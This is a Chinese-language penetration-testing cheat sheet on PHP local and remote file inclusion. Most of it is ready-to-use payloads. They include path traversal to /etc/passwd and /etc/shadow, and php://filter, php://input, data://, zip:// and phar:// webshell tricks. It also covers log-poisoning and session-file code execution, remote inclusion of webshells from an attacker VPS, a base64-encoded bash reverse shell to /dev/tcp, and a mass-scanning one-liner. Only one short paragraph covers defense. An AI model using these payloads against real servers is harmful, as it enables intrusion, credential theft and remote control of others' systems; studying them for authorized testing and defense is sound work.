0x01 概述#
什麼是文件包含漏洞
文件包含漏洞是指在使用 php 函數引入文件時沒有對傳入的文件名進行適當校驗,導致了攻擊者可以構造惡意參數,可以操作和讀取不應被訪問的文件,甚至將惡意代碼注入到伺服器中。
文件包含漏洞的危害
- 訪問和讀取敏感文件,如配置文件、密碼文件等。
- 執行任意代碼,包括系統命令、遠程代碼等,從而控制伺服器。
- 注入惡意代碼,如跨站腳本攻擊(XSS)等,竊取用戶數據或劫持用戶會話。
PHP 中導致文件包含漏洞的相關函數
include()
include_once()
require()
require_once()
include () 和 require () 的不同點
- include () 引入文件失敗時會發出一條警告,腳本會
繼續執行
;而 require () 引入文件失敗時會發出一個致命錯誤,腳本會停止執行
。 - include () 可以多次引入同一個文件,而 require () 只能引入一次,否則會發出一個致命錯誤。
include () 和 include_once () 的不同點
- include () 可以多次引入同一個文件,而 include_once () 只會引入一次,如果已經引入過,則不會再次引入。
0x02 文件包含分類#
本地文件包含只能包含伺服器本地的文件,而遠程文件包含不僅能包含伺服器本地的文件,也能包含遠程網站的文件
本地文件包含利用
讀取系統文件
http://example:28050/control/more/file_include.php?filename=../../../../../../etc/passwd
windows 和 linux 可嘗試讀取下面的一些內容,列舉了一些常見的敏感文件路徑信息。
# Windows系統
c:\boot.ini
c:\windows\system32\inetsrv\MetaBase.xml
c:\windows\repair\sam
c:\ProgramFiles\mysql\my.ini
c:\ProgramFiles\mysql\data\mysql\user.MYD
c:\windows\php.ini
# Linux/Unix系統
/etc/passwd
/etc/shadow
/usr/local/app/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhost.conf
/usr/local/app/php5/lib/php.ini
/etc/httpd/conf/httpd.conf
/etc/my.conf
可配合 burpsuite 進行敏感文件爆破
或者利用目錄掃描工具 gobuster
gobuster fuzz -u "http://<target>/static/ueditor/php/controller.php?action=proxy&remote=file://FUZZ" -w "/pentesting/web-basic/p12-字典收集/pentesting/web/payloads/lfi-rfi/lfi-linux-list.txt" --exclude-length 2176 -H 'Header1: 200' -b 400
當包含的文件中含有 php 代碼時,不管文件以什麼結尾,都会被當成 php 文件去執行,如 1.txt 文件的內容是<?php phpinfo(); ?>
http://127.0.0.1:8999/index.php?file=1.txt
讀取伺服器代碼,需要結合 php 伪协议,如php://filter
讀取出來的內容是 base64。
http://127.0.0.1:8999/index.php?file=php://filter/convert.base64-encode/resource=index.php
如果是遠程文件包含,則需要開啟 php.ini 中的如下兩處配置,都置於 On 狀態:
包含遠程伺服器文件,如下,1.txt 文件的內容是<?php phpinfo(); ?>
http://127.0.0.1:8999/index.php?file=http://192.168.101.173:8080/1.txt
遠程文件包含可以在遠程伺服器上通過 python3 開啟 web 服務,然後讓目標伺服器下載遠程伺服器上托管的文件。
python -m SimpleHTTPServer <port> # python2
python3 -m http.server <port> # python3
訪問 webshell
http://<target>/index.php?page=http://vps_ip/webshell.php&cmd=id
也可以採用 ftp 協議,開啟 ftp 服務下載
python3 -m pyftpdlib -p 21
訪問 webshell
http://<target>/index.php?page=ftp://vps_ip/webshell.php&cmd=id
0x03 文件包含漏洞繞過#
1、%00 截斷 (php 版本小於 5.3.4, 且 GPC 關閉)
http://192.168.100.157/fi/02.php?filename=/etc/passwd%00
2、利用遠程文件包含
可以使用?或者 #繞過後綴限制
http://192.168.100.157/fi/05.php?filename=http://vps_ip:9999/test.txt%23
3、編碼繞過
利用url編碼:
..%2e%2e%2f ..%2f %2e%2e/
..%2e%2e%5c ..%5c %2e%2e\
二次url編碼
../%252e%252e%252f
..\%252e%252e%255c
容器/伺服器的編碼方式
../..%c0%af %c0%ae%c0%ae/
..\..%c1%9c
0x04 php 伪协议#
PHP 提供了一些雜項輸入 / 輸出(IO)流,允許訪問 PHP 的輸入輸出流、標準輸入輸出和錯誤描述符, 內存中、磁碟備份的臨時文件流以及可以操作其他讀取寫入文件資源的過濾器。
1、php://filter
# base64
http://<target>/index.php?page=php://filter/read=convert.base64-encode/resource=../../../<directory>/<file>
# ROT13
http://<target>/index.php?page=php://filter/read=string.rot13/resource=../../../<directory>/<file>
http://127.0.0.1:8999/index.php?file=php://filter/convert.base64-encode/resource=index.php
返回的是 base 編碼的內容。
2、php://input
POST /index.php?page=php://input
Host: <target>
<?php system('whoami'); ?>
3、data://
需要啟用allow_url_include和allow_url_include
。
http://192.168.100.157/fi/10.php?filename=data://text/plain,<?php phpinfo();?>
http://192.168.100.157/fi/10.php?filename=data://text/plain,<?php echo base64_encode(file_get_contents("10.php"));?>
http://192.168.100.157/fi/10.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
4、zip 協議
zip://
流是一種可以訪問壓縮文件中的文件的 PHP 功能,當與文件包含函數結合使用時,zip://
流會被解析為 PHP 文件,並執行其中的代碼,從而導致任意代碼執行的風險。
在使用zip://
流時,需要傳入絕對路徑,要分隔壓縮包和壓縮包內的文件內容,可以使用 #符號,並且需要對 #進行 URL 編碼(將 #替換為%23
)。
test.zip中包含test.txt文件
http://127.0.0.1/index.php?test=zip:///var/www/html/test.zip%23test.txt
5、phar 協議
準備一個 php 文件
# webshell.php
<?php
$phar = new Phar('webshell.phar');
$phar->startBuffering();
$phar->addFromString('webshell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
?>
生成 phar 文件
php --define phar.readonly=0 webshell.php
mv webshell.phar webshell.jpg
將 webshell.jpg 文件上傳到目標 Web 伺服器,並從已識別的本地文件包含(LFI)中執行它。
http://<target>/index.php?page=phar://webshell.jpg/webshell.txt&cmd=id
6、file://(文件絕對路徑)
file://
用於訪問本地文件系統,且不受 allow_url_fopen 與 allow_url_include 的影響。
用法如下:
http://127.0.0.1:8999/index.php?file=file:///etc/passwd
伪协议使用條件
協議 | 測試 PHP 版本 | allow_url_fopen | allow_url_include | 用法 | |
---|---|---|---|---|---|
file | >= 4.0.0 | On/off | On/off | ?file=file:///etc/passwd | |
gopher | >= 4.3.0 | On | Off | ?file=gopher://example.com:test | |
http | >= 4.0.0 | On | Off | ?file=https://example.com/test | |
ftp | >= 4.0.0 | On | Off | ?file=ftp://example.com/file.txt | |
data | >= 5.2.0 | On | On | ?text=data:text/plain,<?php phpinfo();?> | |
phar | >= 5.3.0 | On | Off | ?file=phar://path/to/file.phar/test.php | |
php://filter | >= 5.2.0 | On/off | On/off | ?file=php://filter/read=string.rot13/resource=example.php or php://filter/read=convert.base64-encode/resource=./index.php | |
expect | >= 4.3.0 | On | Off | ?cmd=expect://id | |
php://input | >= 5.2.0 | On/off | On/off | ?file=php://input post data: <?php phpinfo();?> | |
zip | >= 5.2.0 | On/off | On/off | ?file=zip:///var/www/html/file.zip%23shell.txt |
0x05 文件包含漏洞防護#
為了避免文件包含漏洞,開發人員應該始終對用戶輸入進行嚴格的驗證和過濾,包括限制文件路徑、過濾特殊字符等。此外,最好將敏感文件放置在伺服器外部或者使用訪問控制列表(ACL)來限制對敏感文件的訪問。
0x06 其他#
1、文件包含導致 RCE#
1、利用 php://input 協議
POST /index.php?page=php://input
Host: <target>
<?php system('whoami'); ?>
or
POST /index.php?page=php://input&cmd=cat /etc/passwd
<?php echo(shell_exec($_GET['cmd']));?>
2、利用 data 協議
http://<target>/index.php?page=data://text/plain,<?php system('whoami'); ?>
http://jtongic.com:83/start/index.php?page=data:text/plain,<?php system('ls ../');?>
http://<target>/index.php?page=data://text/plain;base64,<base64>
3、文件包含執行 webshell 命令
# 準備一個webshell並base64編碼
echo '<?php system($_GET['cmd']); ?>' | base64
# 編碼後的內容如下
PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=
# 最終payload
http://<target>/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=&cmd=id
4、文件包含反彈 shell
# Reverse shell (Bash)
bash -c 'bash -i >& /dev/tcp/<IP-Address>/<port> 0>&1'
# Reverse shell (Bash)base64編碼
YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC97SVAtQWRkcmVzc30ve3BvcnR9IDA+JjEn
# 最終payload
http://<target>/index.php?page=data://text/plain;base64,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC97SVAtQWRkcmVzc30ve3BvcnR9IDA+JjEn
5、文件上傳結合 zip 協議
準備一個 zip 壓縮包,裡面是 php 文件
echo '<?php system($_GET['cmd']); ?>' > webshell.php
zip webshell.zip webshell.php
將 webshell.zip 文件上傳到目標 Web 伺服器,可以使用 #符號引用 webshell.zip 文件中的文件。
http://<target>/index.php?page=zip://webshell.zip#cmd.php&cmd=id
http://<target>/index.php?page=zip://webshell.zip%23cmd.php&cmd=id
4、文件上傳結合圖片
準備一個圖片馬
echo 'GIF89a<?php system($_GET["cmd"]); ?>' > webshell.gif
上傳圖片至伺服器並包含它
http://<target>/index.php?page=webshell.gif&cmd=id
如果可以控制伺服器上磁碟上的內容,(如 servers logs),則可升級為命令執行。
6、文件包含日誌 RCE
linux 下日誌文件路徑
/var/log/apache2/access.log
/var/log/nginx/access.log
/var/log/sshd.log
/var/log/mail
/var/log/vsftpd.log
將 webshell 寫入日誌,只要隨意訪問頁面,請求包中寫上 webshell。
GET /index.php?page=<log-file>
Host: <target>
User-Agent: <?php system($_GET['cmd']); ?>
訪問 webshell
http://<target>/index.php?page=<log-file>&cmd=id
6、php session RCE
php session 存儲路徑如下:
/var/lib/php/sessions/
C:\Windows\Temp
大體流程:
假如PHPSESSID
值為ujllfv2j2j2sm7ae11is401hvdf9
。
http://<target>/index.php?page=<session-files-path>/sess_ujllfv2j2j2sm7ae11is401hvdf9
修改存儲在會話中的任何值,如下:
<?php system($_GET['cmd']); ?>
訪問 webshell 執行命令
http://<target>/index.php?page=<session-files-path>/sess_ujllfv2j2j2sm7ae11is401hvdf9&cmd=id
案例:
SESSION["username"]= $_GET['iwebsec'];
將 iwebsec 變量的值存到 session 中,當訪問http://192.168.100.157/fi/03.php?iwebsec=iwebsec 時,會在 /var/lib/php/sessions/ 目錄下存儲 session 的值。
session 可以通過瀏覽器 F12 - 網絡中查看,session 的內容包括:sess_PHPSESSID
將內容寫入了 session 後,然後通過文件包含漏洞包含 session 文件。
執行命令
2、一條命令文件包含#
gau $target | gf lfi | qsreplace "/etc/passwd" | xargs -I % -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
- gau,獲取已知的 url
- gf: 過濾出對應的內容
- qsreplace: 接受標準輸入上的 URL,用用戶提供的值替換所有查詢字符串值,每個主機和路徑只輸出查詢字符串參數的每個組合一次。
3、工具#